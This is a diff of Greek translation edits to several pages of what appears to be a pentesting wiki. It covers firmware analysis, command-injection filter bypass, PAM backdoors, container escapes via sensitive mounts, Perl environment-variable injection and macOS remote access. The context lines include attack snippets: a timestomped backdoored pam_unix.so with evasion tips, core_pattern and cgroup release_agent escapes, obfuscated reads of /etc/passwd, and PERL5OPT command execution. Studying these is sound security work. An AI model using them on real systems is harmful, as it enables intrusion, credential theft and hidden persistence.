4. **Υψηλός ρυθμός κυκλοφορίας ICMP echo-reply με μεγάλα, μη μηδενικά πεδία αναγνωριστικού/ακολουθίας**.
## Αναφορές
- [Palo Alto Unit42 Εισβολή σε Παγκόσμια Δίκτυα Τηλεπικοινωνιών](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 Πρωτόκολλο Σήραγγας GPRS (v16.4.0)
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -19,7 +19,7 @@
- Αρχιτεκτονικά και ροογράμματα
- Αξιολογήσεις ασφαλείας και αναγνωρισμένες ευπάθειες
Για αυτό το σκοπό, τα εργαλεία **ανοιχτής πηγής (OSINT)** είναι ανεκτίμητα, όπως και η ανάλυση οποιωνδήποτε διαθέσιμων στοιχείων λογισμικού ανοιχτής πηγής μέσω χειροκίνητων και αυτοματοποιημένων διαδικασιών αναθεώρησης. Εργαλεία όπως το [Coverity Scan](https://scan.coverity.com) και το [Semmles LGTM](https://lgtm.com/#explore) προσφέρουν δωρεάν στατική ανάλυση που μπορεί να αξιοποιηθεί για την εύρεση πιθανών προβλημάτων.
Για αυτό το σκοπό, τα εργαλεία **ανοιχτής πηγής (OSINT)** είναι ανεκτίμητα, όπως και η ανάλυση οποιωνδήποτε διαθέσιμων ανοιχτών λογισμικών στοιχείων μέσω χειροκίνητων και αυτοματοποιημένων διαδικασιών αναθεώρησης. Εργαλεία όπως το [Coverity Scan](https://scan.coverity.com) και το [Semmles LGTM](https://lgtm.com/#explore) προσφέρουν δωρεάν στατική ανάλυση που μπορεί να αξιοποιηθεί για την εύρεση πιθανών προβλημάτων.
## **Απόκτηση του Firmware**
@ -34,7 +34,7 @@
- **Εξαγωγή** από τη συσκευή μέσω συνδέσεων όπως **UART**, **JTAG**, ή **PICit**
- **Sniffing** για αιτήματα ενημερώσεων εντός της επικοινωνίας της συσκευής
- Αναγνώριση και χρήση **σκληρά κωδικοποιημένων σημείων ενημέρωσης**
- **Dumping** από το bootloader ή το δίκτυο
- **Dumping** από τον bootloader ή το δίκτυο
- **Αφαίρεση και ανάγνωση** του τσιπ αποθήκευσης, όταν όλα τα άλλα αποτύχουν, χρησιμοποιώντας κατάλληλα εργαλεία υλικού
## Ανάλυση του firmware
@ -48,7 +48,7 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Αν δεν βρείτε πολλά με αυτά τα εργαλεία, ελέγξτε την **εντροπία** της εικόνας με το `binwalk -E <bin>`, αν η εντροπία είναι χαμηλή, τότε είναι απίθανο να είναι κρυπτογραφημένη. Αν η εντροπία είναι υψηλή, είναι πιθανό να είναι κρυπτογραφημένη (ή συμπιεσμένη με κάποιο τρόπο).
Αν δεν βρείτε πολλά με αυτά τα εργαλεία, ελέγξτε την **εντροπία** της εικόνας με `binwalk -E <bin>`, αν η εντροπία είναι χαμηλή, τότε είναι απίθανο να είναι κρυπτογραφημένη. Αν η εντροπία είναι υψηλή, είναι πιθανό να είναι κρυπτογραφημένη (ή συμπιεσμένη με κάποιο τρόπο).
Επιπλέον, μπορείτε να χρησιμοποιήσετε αυτά τα εργαλεία για να εξάγετε **αρχεία που είναι ενσωματωμένα μέσα στο firmware**:
@ -142,7 +142,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
### Ανάλυση Συστήματος Αρχείων
Με το σύστημα αρχείων εξαγμένο, η αναζήτηση για αδυναμίες ασφαλείας αρχίζει. Δίνεται προσοχή σε ανασφαλείς δαίμονες δικτύου, σκληρά κωδικοποιημένα διαπιστευτήρια, API endpoints, λειτουργίες ενημέρωσης διακομιστών, μη μεταγλωττισμένο κώδικα, σενάρια εκκίνησης και μεταγλωττισμένα δυαδικά για ανάλυση εκτός σύνδεσης.
Με το σύστημα αρχείων εξαγμένο, η αναζήτηση για αδυναμίες ασφαλείας αρχίζει. Δίνεται προσοχή σε ανασφαλείς δικτυακούς δαίμονες, σκληρά κωδικοποιημένα διαπιστευτήρια, API endpoints, λειτουργίες ενημέρωσης διακομιστών, μη μεταγλωττισμένο κώδικα, σενάρια εκκίνησης και μεταγλωττισμένα δυαδικά για ανάλυση εκτός σύνδεσης.
**Κύριες τοποθεσίες** και **αντικείμενα** προς επιθεώρηση περιλαμβάνουν:
@ -192,28 +192,28 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
## Δυναμική Ανάλυση στην Πράξη
Σε αυτό το στάδιο, χρησιμοποιείται είτε ένα πραγματικό είτε ένα προσομοιωμένο περιβάλλον συσκευής για ανάλυση. Είναι απαραίτητο να διατηρείται η πρόσβαση στο shell του OS και του filesystem. Η προσομοίωση μπορεί να μην μιμείται τέλεια τις αλληλεπιδράσεις του υλικού, απαιτώντας περιστασιακές επανεκκινήσεις προσομοίωσης. Η ανάλυση θα πρέπει να επανεξετάσει το filesystem, να εκμεταλλευτεί τις εκτεθειμένες ιστοσελίδες και υπηρεσίες δικτύου, και να εξερευνήσει τις ευπάθειες του bootloader. Οι δοκιμές ακεραιότητας firmware είναι κρίσιμες για την αναγνώριση πιθανών ευπαθειών backdoor.
Σε αυτό το στάδιο, χρησιμοποιείται είτε ένα πραγματικό είτε ένα προσομοιωμένο περιβάλλον συσκευής για ανάλυση. Είναι απαραίτητο να διατηρείται η πρόσβαση στο shell του λειτουργικού συστήματος και στο σύστημα αρχείων. Η προσομοίωση μπορεί να μην μιμείται τέλεια τις αλληλεπιδράσεις υλικού, απαιτώντας περιστασιακές επανεκκινήσεις προσομοίωσης. Η ανάλυση θα πρέπει να επανεξετάσει το σύστημα αρχείων, να εκμεταλλευτεί τις εκτεθειμένες ιστοσελίδες και υπηρεσίες δικτύου, και να εξερευνήσει τις ευπάθειες του bootloader. Οι δοκιμές ακεραιότητας firmware είναι κρίσιμες για την αναγνώριση πιθανών ευπαθειών backdoor.
## Τεχνικές Ανάλυσης σε Χρόνο Εκτέλεσης
Η ανάλυση σε χρόνο εκτέλεσης περιλαμβάνει την αλληλεπίδραση με μια διαδικασία ή δυαδικό στο λειτουργικό του περιβάλλον, χρησιμοποιώντας εργαλεία όπως το gdb-multiarch, το Frida και το Ghidra για τη ρύθμιση σημείων διακοπής και την αναγνώριση ευπαθειών μέσω fuzzing και άλλων τεχνικών.
Η ανάλυση σε χρόνο εκτέλεσης περιλαμβάνει την αλληλεπίδραση με μια διαδικασία ή δυαδικό στο λειτουργικό του περιβάλλον, χρησιμοποιώντας εργαλεία όπως το gdb-multiarch, το Frida και το Ghidra για την τοποθέτηση σημείων διακοπής και την αναγνώριση ευπαθειών μέσω fuzzing και άλλων τεχνικών.
## Εκμετάλλευση Δυαδικών και Απόδειξη της Έννοιας
Η ανάπτυξη ενός PoC για τις αναγνωρισμένες ευπάθειες απαιτεί βαθιά κατανόηση της αρχιτεκτονικής στόχου και προγραμματισμό σε γλώσσες χαμηλού επιπέδου. Οι προστασίες σε χρόνο εκτέλεσης δυαδικών σε ενσωματωμένα συστήματα είναι σπάνιες, αλλά όταν υπάρχουν, τεχνικές όπως το Return Oriented Programming (ROP) μπορεί να είναι απαραίτητες.
Η ανάπτυξη ενός PoC για τις αναγνωρισμένες ευπάθειες απαιτεί βαθιά κατανόηση της αρχιτεκτονικής στόχου και προγραμματισμό σε γλώσσες χαμηλού επιπέδου. Οι προστασίες σε χρόνο εκτέλεσης σε ενσωματωμένα συστήματα είναι σπάνιες, αλλά όταν υπάρχουν, τεχνικές όπως το Return Oriented Programming (ROP) μπορεί να είναι απαραίτητες.
## Προετοιμασμένα Λειτουργικά Συστήματα για Ανάλυση Firmware
Λειτουργικά συστήματα όπως το [AttifyOS](https://github.com/adi0x90/attifyos) και το [EmbedOS](https://github.com/scriptingxss/EmbedOS) παρέχουν προ-ρυθμισμένα περιβάλλοντα για δοκιμές ασφάλειας firmware, εξοπλισμένα με τα απαραίτητα εργαλεία.
## Προετοιμασμένα OS για ανάλυση Firmware
## Προετοιμασμένα Λειτουργικά Συστήματα για Ανάλυση Firmware
- [**AttifyOS**](https://github.com/adi0x90/attifyos): Το AttifyOS είναι μια διανομή που προορίζεται να σας βοηθήσει να εκτελέσετε αξιολόγηση ασφάλειας και δοκιμές διείσδυσης συσκευών Internet of Things (IoT). Σας εξοικονομεί πολύ χρόνο παρέχοντας ένα προ-ρυθμισμένο περιβάλλον με όλα τα απαραίτητα εργαλεία φορτωμένα.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Λειτουργικό σύστημα δοκιμών ασφάλειας ενσωματωμένων συστημάτων βασισμένο στο Ubuntu 18.04 προφορτωμένο με εργαλεία δοκιμών ασφάλειας firmware.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Λειτουργικό σύστημα δοκιμών ασφάλειας ενσωματωμένων συστημάτων βασισμένο στο Ubuntu 18.04 με προφορτωμένα εργαλεία δοκιμών ασφάλειας firmware.
## Επιθέσεις Υποβάθμισης Firmware & Ανασφαλείς Μηχανισμοί Ενημέρωσης
Ακόμα και όταν ένας προμηθευτής εφαρμόζει ελέγχους κρυπτογραφικής υπογραφής για εικόνες firmware, **η προστασία από υποβάθμιση (rollback) εκλείπει συχνά**. Όταν ο boot- ή recovery-loader επαληθεύει μόνο την υπογραφή με μια ενσωματωμένη δημόσια κλειδί αλλά δεν συγκρίνει την *έκδοση* (ή έναν μονοτονικό μετρητή) της εικόνας που αναβοσβήνει, ένας επιτιθέμενος μπορεί νόμιμα να εγκαταστήσει ένα **παλαιότερο, ευάλωτο firmware που φέρει ακόμα μια έγκυρη υπογραφή** και έτσι να επαναφέρει τις ευπάθειες που έχουν διορθωθεί.
Ακόμα και όταν ένας προμηθευτής εφαρμόζει ελέγχους κρυπτογραφικής υπογραφής για εικόνες firmware, **η προστασία από υποβάθμιση (rollback) εκλείπει συχνά**. Όταν ο boot- ή recovery-loader επαληθεύει μόνο την υπογραφή με μια ενσωματωμένη δημόσια κλειδί αλλά δεν συγκρίνει την *έκδοση* (ή έναν μονοτονικό μετρητή) της εικόνας που αναβοσβήνει, ένας επιτιθέμενος μπορεί νόμιμα να εγκαταστήσει ένα **παλαιότερο, ευάλωτο firmware που εξακολουθεί να φέρει μια έγκυρη υπογραφή** και έτσι να επαναφέρει τις διορθωμένες ευπάθειες.
Τυπική ροή επίθεσης:
@ -223,8 +223,8 @@ sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system
* Ανακτήστε την από τρίτους αποθετήρια όπως το VirusTotal, αρχεία του διαδικτύου, φόρουμ κ.λπ.
2. **Ανεβάστε ή εξυπηρετήστε την εικόνα στη συσκευή** μέσω οποιουδήποτε εκτεθειμένου καναλιού ενημέρωσης:
* Web UI, API εφαρμογής κινητού, USB, TFTP, MQTT, κ.λπ.
* Πολλές συσκευές IoT καταναλωτών εκθέτουν *μη αυθεντικοποιημένα* HTTP(S) endpoints που δέχονται Base64-encoded firmware blobs, τα αποκωδικοποιούν στην πλευρά του διακομιστή και ενεργοποιούν την ανάκτηση/αναβάθμιση.
3. Μετά την υποβάθμιση, εκμεταλλευτείτε μια ευπάθεια που έχει διορθωθεί στην νεότερη έκδοση (για παράδειγμα, ένα φίλτρο εντολών που προστέθηκε αργότερα).
* Πολλές καταναλωτικές IoT συσκευές εκθέτουν *μη αυθεντικοποιημένα* HTTP(S) endpoints που δέχονται Base64-encoded firmware blobs, τα αποκωδικοποιούν server-side και ενεργοποιούν την ανάκτηση/αναβάθμιση.
3. Μετά την υποβάθμιση, εκμεταλλευτείτε μια ευπάθεια που είχε διορθωθεί στην νεότερη έκδοση (για παράδειγμα, ένα φίλτρο εντολών που προστέθηκε αργότερα).
4. Προαιρετικά αναβοσβήστε την τελευταία εικόνα πίσω ή απενεργοποιήστε τις ενημερώσεις για να αποφύγετε την ανίχνευση μόλις αποκτηθεί η επιμονή.
### Παράδειγμα: Εκτέλεση Εντολών Μετά την Υποβάθμιση
@ -250,7 +250,7 @@ firmware_v1.3.11.490_signed.bin
* Συγκρίνει η συσκευή **αριθμούς εκδόσεων** ή έναν **μονοτονικό μετρητή αντεπίθεσης** πριν από την αναβάθμιση;
* Επαληθεύεται η εικόνα μέσα σε μια ασφαλή αλυσίδα εκκίνησης (π.χ. υπογραφές που ελέγχονται από κώδικα ROM);
* Εκτελεί ο κώδικας του χρήστη επιπλέον ελέγχους εγκυρότητας (π.χ. επιτρεπόμενος χάρτης κατατμήσεων, αριθμός μοντέλου);
* Επαναχρησιμοποιούν οι ροές *μερικής* ή *αντίγραφης* ενημέρωσης την ίδια λογική επικύρωσης;
* Επαναχρησιμοποιούν οι ροές ενημέρωσης *μερικής* ή *αντίγραφης* την ίδια λογική επικύρωσης;
> 💡 Εάν λείπει οποιοδήποτε από τα παραπάνω, η πλατφόρμα είναι πιθανό να είναι ευάλωτη σε επιθέσεις αντεπίθεσης.

View File

@ -105,7 +105,7 @@ echo "ls\x09-l" | bash
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Παράκαμψη της αντίστροφης και της κανονικής κάθετης γραμμής
### Παράκαμψη της κάθετης και της οριζόντιας γραμμής
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

View File

@ -42,15 +42,15 @@ session required /lib/security/pam_unix_session.so
- **Sufficient**: Η επιτυχία παρακάμπτει τους υπόλοιπους ελέγχους της ίδιας περιοχής εκτός αν αποτύχει μια επόμενη μονάδα.
- **Optional**: Προκαλεί αποτυχία μόνο αν είναι η μοναδική μονάδα στη στοίβα.
#### Παράδειγμα Σεναρίου
#### Παράδειγμα Σενάριο
Σε μια ρύθμιση με πολλαπλές μονάδες auth, η διαδικασία ακολουθεί μια αυστηρή σειρά. Αν η μονάδα `pam_securetty` βρει τον τερματικό σύνδεσης μη εξουσιοδοτημένο, οι συνδέσεις root αποκλείονται, ωστόσο όλες οι μονάδες εξακολουθούν να επεξεργάζονται λόγω της κατάστασης "required". Η `pam_env` ρυθμίζει τις μεταβλητές περιβάλλοντος, ενδεχομένως βοηθώντας στην εμπειρία του χρήστη. Οι μονάδες `pam_ldap` και `pam_unix` συνεργάζονται για να αυθεντικοποιήσουν τον χρήστη, με την `pam_unix` να προσπαθεί να χρησιμοποιήσει έναν προηγουμένως παρεχόμενο κωδικό πρόσβασης, ενισχύοντας την αποδοτικότητα και την ευελιξία στις μεθόδους αυθεντικοποίησης.
Σε μια ρύθμιση με πολλαπλές μονάδες αυθεντικοποίησης, η διαδικασία ακολουθεί μια αυστηρή σειρά. Αν η μονάδα `pam_securetty` βρει τον τερματικό σύνδεσης μη εξουσιοδοτημένο, οι συνδέσεις root αποκλείονται, ωστόσο όλες οι μονάδες εξακολουθούν να επεξεργάζονται λόγω της κατάστασης "required". Η `pam_env` ρυθμίζει τις μεταβλητές περιβάλλοντος, ενδεχομένως βοηθώντας στην εμπειρία του χρήστη. Οι μονάδες `pam_ldap` και `pam_unix` συνεργάζονται για να αυθεντικοποιήσουν τον χρήστη, με την `pam_unix` να προσπαθεί να χρησιμοποιήσει έναν προηγουμένως παρεχόμενο κωδικό πρόσβασης, ενισχύοντας την αποδοτικότητα και την ευελιξία στις μεθόδους αυθεντικοποίησης.
## Backdooring PAM Hooking `pam_unix.so`
Ένα κλασικό κόλπο επιμονής σε περιβάλλοντα Linux υψηλής αξίας είναι να **ανταλλάξετε τη νόμιμη βιβλιοθήκη PAM με μια τροποποιημένη drop-in**. Επειδή κάθε σύνδεση SSH / κονσόλας καταλήγει να καλεί `pam_unix.so:pam_sm_authenticate()`, μερικές γραμμές C είναι αρκετές για να συλλάβουν διαπιστευτήρια ή να εφαρμόσουν μια *μαγική* παράκαμψη κωδικού πρόσβασης.
Ένα κλασικό κόλπο επιμονής σε περιβάλλοντα Linux υψηλής αξίας είναι να **ανταλλάξετε τη νόμιμη βιβλιοθήκη PAM με μια τροποποιημένη**. Επειδή κάθε σύνδεση SSH / κονσόλας καταλήγει να καλεί `pam_unix.so:pam_sm_authenticate()`, μερικές γραμμές C είναι αρκετές για να συλλάβουν διαπιστευτήρια ή να εφαρμόσουν μια *μαγική* παράκαμψη κωδικού πρόσβασης.
### Compilation Cheatsheet
### Συγκεντρωτικός Οδηγός Συγκέντρωσης
```c
#define _GNU_SOURCE
#include <security/pam_modules.h>
@ -90,17 +90,17 @@ mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
```
### OpSec Tips
1. **Atomic overwrite** γράψτε σε ένα προσωρινό αρχείο και `mv` στη θέση του για να αποφύγετε ημιτελή βιβλιοθήκες που θα κλειδώσουν το SSH.
2. Η τοποθέτηση αρχείων καταγραφής όπως το `/usr/bin/.dbus.log` συγχωνεύεται με νόμιμα αντικείμενα επιφάνειας εργασίας.
3. Διατηρήστε τις εξαγωγές συμβόλων ίδιες (`pam_sm_setcred`, κ.λπ.) για να αποφύγετε την κακή συμπεριφορά του PAM.
### Συμβουλές OpSec
1. **Atomic overwrite** γράψτε σε ένα προσωρινό αρχείο και `mv` στη θέση του για να αποφύγετε ημιτελή βιβλιοθήκες που θα κλείσουν το SSH.
2. Η τοποθέτηση αρχείων καταγραφής όπως το `/usr/bin/.dbus.log` συγχωνεύεται με νόμιμα αρχεία επιφάνειας εργασίας.
3. Διατηρήστε τις εξαγωγές συμβόλων ίδιες (`pam_sm_setcred`, κ.λπ.) για να αποφύγετε κακή συμπεριφορά του PAM.
### Detection
### Ανίχνευση
* Συγκρίνετε το MD5/SHA256 του `pam_unix.so` με το πακέτο της διανομής.
* Ελέγξτε για παγκόσμια εγ writable ή ασυνήθιστη ιδιοκτησία κάτω από το `/lib/security/`.
* Κανόνας `auditd`: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`.
### References
### Αναφορές
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)

View File

@ -1,8 +1,8 @@
# Ευαίσθητοι Σημειακοί Σύνδεσμοι
# Ευαίσθητοι Σύνδεσμοι
{{#include ../../../../banners/hacktricks-training.md}}
Η έκθεση των `/proc`, `/sys` και `/var` χωρίς κατάλληλη απομόνωση ονομάτων εισάγει σημαντικούς κινδύνους ασφαλείας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της αποκάλυψης πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, αν είναι κακώς ρυθμισμένα ή προσπελαστούν από μη εξουσιοδοτημένο χρήστη, μπορούν να οδηγήσουν σε διαφυγή κοντέινερ, τροποποίηση του κεντρικού υπολογιστή ή να παρέχουν πληροφορίες που διευκολύνουν περαιτέρω επιθέσεις. Για παράδειγμα, η λανθασμένη τοποθέτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία του AppArmor λόγω της βασισμένης σε διαδρομή φύσης της, αφήνοντας το `/host/proc` απροστάτευτο.
Η έκθεση των `/proc`, `/sys` και `/var` χωρίς κατάλληλη απομόνωση ονομάτων εισάγει σημαντικούς κινδύνους ασφαλείας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της αποκάλυψης πληροφοριών. Αυτοί οι κατάλογοι περιέχουν ευαίσθητα αρχεία που, αν είναι κακώς ρυθμισμένα ή προσπελάζονται από μη εξουσιοδοτημένο χρήστη, μπορούν να οδηγήσουν σε διαφυγή κοντέινερ, τροποποίηση του κεντρικού υπολογιστή ή να παρέχουν πληροφορίες που διευκολύνουν περαιτέρω επιθέσεις. Για παράδειγμα, η λανθασμένη τοποθέτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία του AppArmor λόγω της βασισμένης σε διαδρομή φύσης της, αφήνοντας το `/host/proc` απροστάτευτο.
**Μπορείτε να βρείτε περισσότερες λεπτομέρειες για κάθε πιθανή ευπάθεια στο** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
@ -25,7 +25,7 @@ cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler
```
Ελέγξτε [αυτήν την ανάρτηση](https://pwning.systems/posts/escaping-containers-for-fun/) για περισσότερες πληροφορίες.
Ελέγξτε [αυτή την ανάρτηση](https://pwning.systems/posts/escaping-containers-for-fun/) για περισσότερες πληροφορίες.
Παράδειγμα προγράμματος που καταρρέει:
```c
@ -39,8 +39,8 @@ return 0;
```
#### **`/proc/sys/kernel/modprobe`**
- Αναλυτικά στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Περιέχει τη διαδρομή προς τον φορτωτή πυρήνα, που καλείται για τη φόρτωση πυρήνα.
- Λεπτομέρειες στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Περιέχει τη διαδρομή προς τον φορτωτή πυρήνα, που καλείται για τη φόρτωση πυρήνων.
- **Παράδειγμα Ελέγχου Πρόσβασης**:
```bash
@ -60,7 +60,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Έλεγχος πρόσβασης στ
#### **`/proc/sys/fs/binfmt_misc`**
- Επιτρέπει την καταχώριση διερμηνέων για μη εγγενείς δυαδικές μορφές με βάση τον μαγικό τους αριθμό.
- Μπορεί να οδηγήσει σε κλιμάκωση προνομίων ή πρόσβαση σε root shell αν το `/proc/sys/fs/binfmt_misc/register` είναι εγγράψιμο.
- Μπορεί να οδηγήσει σε εκμετάλλευση προνομίων ή πρόσβαση σε root shell αν το `/proc/sys/fs/binfmt_misc/register` είναι εγγράψιμο.
- Σχετική εκμετάλλευση και εξήγηση:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- Αναλυτικός οδηγός: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
@ -83,7 +83,7 @@ echo b > /proc/sysrq-trigger # Επανεκκινεί τον host
#### **`/proc/kmsg`**
- Εκθέτει μηνύματα του δακτυλίου του πυρήνα.
- Εκθέτει μηνύματα του buffer του πυρήνα.
- Μπορεί να βοηθήσει σε εκμεταλλεύσεις πυρήνα, διαρροές διευθύνσεων και να παρέχει ευαίσθητες πληροφορίες συστήματος.
#### **`/proc/kallsyms`**
@ -96,7 +96,7 @@ echo b > /proc/sysrq-trigger # Επανεκκινεί τον host
#### **`/proc/[pid]/mem`**
- Διασυνδέεται με τη συσκευή μνήμης πυρήνα `/dev/mem`.
- Ιστορικά ευάλωτο σε επιθέσεις κλιμάκωσης προνομίων.
- Ιστορικά ευάλωτο σε επιθέσεις εκμετάλλευσης προνομίων.
- Περισσότερα στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/kcore`**
@ -314,7 +314,7 @@ A similar technique works with **crictl**, **podman** or the **kubelet** API onc
Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
```bash
# υποθέτοντας ότι το κοντέινερ έχει CAP_SYS_ADMIN και έναν ευάλωτο πυρήνα
# assuming the container has CAP_SYS_ADMIN and a vulnerable kernel
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # απαιτεί CVE-2022-0492

View File

@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## Μέσω της μεταβλητής περιβάλλοντος `PERL5OPT` & `PERL5LIB`
## Via `PERL5OPT` & `PERL5LIB` env variable
Χρησιμοποιώντας τη μεταβλητή περιβάλλοντος **`PERL5OPT`**, είναι δυνατόν να κάνετε το **Perl** να εκτελεί αυθαίρετες εντολές όταν ξεκινά ο διερμηνέας (ακόμα και **πριν** από την πρώτη γραμμή του στοχευμένου σεναρίου αναλυθεί).
Χρησιμοποιώντας τη μεταβλητή περιβάλλοντος **`PERL5OPT`** είναι δυνατόν να κάνετε το **Perl** να εκτελεί αυθαίρετες εντολές όταν ξεκινά ο διερμηνέας (ακόμα και **πριν** από την πρώτη γραμμή του στοχευμένου σεναρίου αναλυθεί).
Για παράδειγμα, δημιουργήστε αυτό το σενάριο:
```perl:test.pl
#!/usr/bin/perl
@ -15,7 +15,7 @@ print "Hello from the Perl script!\n";
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
```
Μια άλλη επιλογή είναι να δημιουργήσετε ένα Perl module (π.χ. `/tmp/pmod.pm`):
Μια άλλη επιλογή είναι να δημιουργήσετε ένα module Perl (π.χ. `/tmp/pmod.pm`):
```perl:/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
@ -63,7 +63,7 @@ perl -e 'print join("\n", @INC)'
> [!WARNING]
> Χρειάζεστε ακόμα **root** για να γράψετε μέσα στο `/Library/Perl` και το macOS θα εμφανίσει ένα prompt **TCC** ζητώντας *Πλήρη Πρόσβαση Δίσκου* για τη διαδικασία που εκτελεί τη λειτουργία εγγραφής.
Για παράδειγμα, αν ένα script εισάγει **`use File::Basename;`**, θα ήταν δυνατό να δημιουργηθεί το `/Library/Perl/5.30/File/Basename.pm` που θα περιέχει κώδικα ελεγχόμενο από τον επιτιθέμενο.
Για παράδειγμα, αν ένα script εισάγει **`use File::Basename;`**, θα ήταν δυνατό να δημιουργηθεί το `/Library/Perl/5.30/File/Basename.pm` που περιέχει κώδικα ελεγχόμενο από τον επιτιθέμενο.
## SIP bypass μέσω Migration Assistant (CVE-2023-32369 “Migraine”)
@ -89,8 +89,8 @@ open -a "Migration Assistant.app" # or programmatically invoke /System/Library
## Συστάσεις σκληροποίησης
1. **Καθαρίστε επικίνδυνες μεταβλητές** οι προνομιούχοι launchdaemons ή cron jobs θα πρέπει να ξεκινούν με ένα καθαρό περιβάλλον (`launchctl unsetenv PERL5OPT`, `env -i`, κ.λπ.).
2. **Αποφύγετε την εκτέλεση διερμηνέων ως root** εκτός αν είναι απολύτως απαραίτητο. Χρησιμοποιήστε συμπιεσμένα δυαδικά ή αποσύρετε τα προνόμια νωρίς.
3. **Προμηθευτείτε σενάρια με `-T` (λειτουργία taint)** ώστε το Perl να αγνοεί το `PERL5OPT` και άλλες μη ασφαλείς επιλογές όταν είναι ενεργοποιημένος ο έλεγχος taint.
2. **Αποφύγετε την εκτέλεση διερμηνέων ως root** εκτός αν είναι απολύτως απαραίτητο. Χρησιμοποιήστε συμπιεσμένα δυαδικά αρχεία ή μειώστε τα προνόμια νωρίς.
3. **Προμηθευτείτε σενάρια με `-T` (modo taint)** ώστε το Perl να αγνοεί το `PERL5OPT` και άλλες μη ασφαλείς επιλογές όταν είναι ενεργοποιημένος ο έλεγχος taint.
4. **Διατηρήστε το macOS ενημερωμένο** το “Migraine” είναι πλήρως ενημερωμένο στις τρέχουσες εκδόσεις.
## Αναφορές

View File

@ -4,7 +4,7 @@
## Remote Access Services
Αυτές είναι οι κοινές υπηρεσίες macOS για απομακρυσμένη πρόσβαση σε αυτές.\
Αυτές είναι οι κοινές υπηρεσίες macOS για απομακρυσμένη πρόσβαση.\
Μπορείτε να ενεργοποιήσετε/απενεργοποιήσετε αυτές τις υπηρεσίες στις `System Settings` --> `Sharing`
- **VNC**, γνωστό ως “Screen Sharing” (tcp:5900)
@ -26,28 +26,28 @@ printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharin
Apple Remote Desktop (ARD) είναι μια ενισχυμένη έκδοση του [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) προσαρμοσμένη για macOS, προσφέροντας επιπλέον δυνατότητες. Μια αξιοσημείωτη ευπάθεια στο ARD είναι η μέθοδος αυθεντικοποίησης για τον κωδικό πρόσβασης της οθόνης ελέγχου, η οποία χρησιμοποιεί μόνο τους πρώτους 8 χαρακτήρες του κωδικού πρόσβασης, καθιστώντας την επιρρεπή σε [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) με εργαλεία όπως το Hydra ή το [GoRedShell](https://github.com/ahhh/GoRedShell/), καθώς δεν υπάρχουν προεπιλεγμένα όρια ρυθμού.
Οι ευάλωτες περιπτώσεις μπορούν να εντοπιστούν χρησιμοποιώντας το σενάριο `vnc-info` του **nmap**. Οι υπηρεσίες που υποστηρίζουν `VNC Authentication (2)` είναι ιδιαίτερα ευάλωτες σε επιθέσεις brute force λόγω της περικοπής του κωδικού πρόσβασης στους 8 χαρακτήρες.
Οι ευάλωτες περιπτώσεις μπορούν να εντοπιστούν χρησιμοποιώντας το σενάριο `vnc-info` του **nmap**. Υπηρεσίες που υποστηρίζουν `VNC Authentication (2)` είναι ιδιαίτερα ευάλωτες σε επιθέσεις brute force λόγω της περικοπής του κωδικού πρόσβασης σε 8 χαρακτήρες.
Για να ενεργοποιήσετε το ARD για διάφορες διοικητικές εργασίες όπως η κλιμάκωση προνομίων, η πρόσβαση GUI ή η παρακολούθηση χρηστών, χρησιμοποιήστε την παρακάτω εντολή:
Για να ενεργοποιήσετε το ARD για διάφορες διοικητικές εργασίες όπως η κλιμάκωση προνομίων, η πρόσβαση μέσω GUI ή η παρακολούθηση χρηστών, χρησιμοποιήστε την παρακάτω εντολή:
```bash
